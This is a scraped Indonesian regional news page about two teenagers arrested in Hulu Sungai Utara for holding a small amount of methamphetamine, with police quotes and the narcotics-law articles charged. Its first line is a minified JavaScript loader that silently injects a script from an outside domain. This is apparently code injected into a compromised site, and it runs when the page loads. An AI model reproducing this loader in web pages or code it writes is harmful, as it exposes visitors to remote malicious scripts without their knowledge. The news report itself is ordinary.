(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Belum Sempat Sedot Asap Kristal Haram, Remaja Ini Keburu Ditangkap


AMUNTAI, Dua remaja ini, Pani (18) dan Junaidi (19) belum sempat menikmati narkotika jenis sabu yang dibelinya, eh..keburu didicuk polisi.

Kedua remaja yang diketahui merupakan warga Desa Teluk Labak  RT 04 Kecamatan Daha Utara, Kabupaten Hulu Sungai Selatan (HSS) ini, tak berkutik ketika keduanya tertangkap tangan menyimpan sabu.

Kasat Resnarkoba Polres HSU Iptu Taufik Suhardiman, kepada kanalkalimantan.com, Kamis (10/10) membenarkan penangkapan kedua pemuda ini melalui anggota Polsek Babirik.

Dari informasi, penangkapan kedua tersangka ini terjadi pada hari Rabu tanggal (9/10) petang sekitar pukul 17.35 Wita di sebuah gang  Desa Babirik Hilir, Kecamatan Babirik, Kabupaten Hulu Sungai Utara.

Anggota Polsek Babirik yang menerima laporan warga mengintai gerak gerik tersangka dan langsung  melakukan penangkapan terhadap kedua pelaku.

Dalam penangkapan tersebut ditemukan barang bukti berupa 2  paket plastik yang di dalamnya berisi 0,21 gram, ditambah dengan 1  buah handphone  dan 1  unit sepeda motor Yamaha Mio Soul GT  sebagai barang bukti.

Kepada polisi kedua tersangka mengaku barang haram tersebut rencananya akan dikonsumsi sendiri.

“Mereka mau memakai sendiri, saat ini masih dalam interogasi, adapun sabu tersebut mereka pesan via telpon dan saat ini masih dikembangkan,” jelas Iptu Taufik Suhardiman.

Usai dilakukan penangkapan selanjutnya kedua tersangka dan barang bukti digiring ke Polsek Babirik guna proses lebih lanjut.

Kedua tersangka Sendiri bakal dijerat pasal 114 ayat (1) dan atau Pasal 112 ayat (1) UU nomor 35 tahun 2009 tentang Narkotika, terkait dalam hal perbuatan menawarkan untuk dijual, menjual, membeli, menjadi perantara dalam jual beli, menukar,menawarkan atau menerima narkotika golongan I dalam bentuk bukan tanaman  dan atau Dalam hal perbuatan memiliki, menyimpan, menguasai atau menyediakan narkotika golongan I bukan tanaman. (dew)

Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

7 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

20 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

22 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

23 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.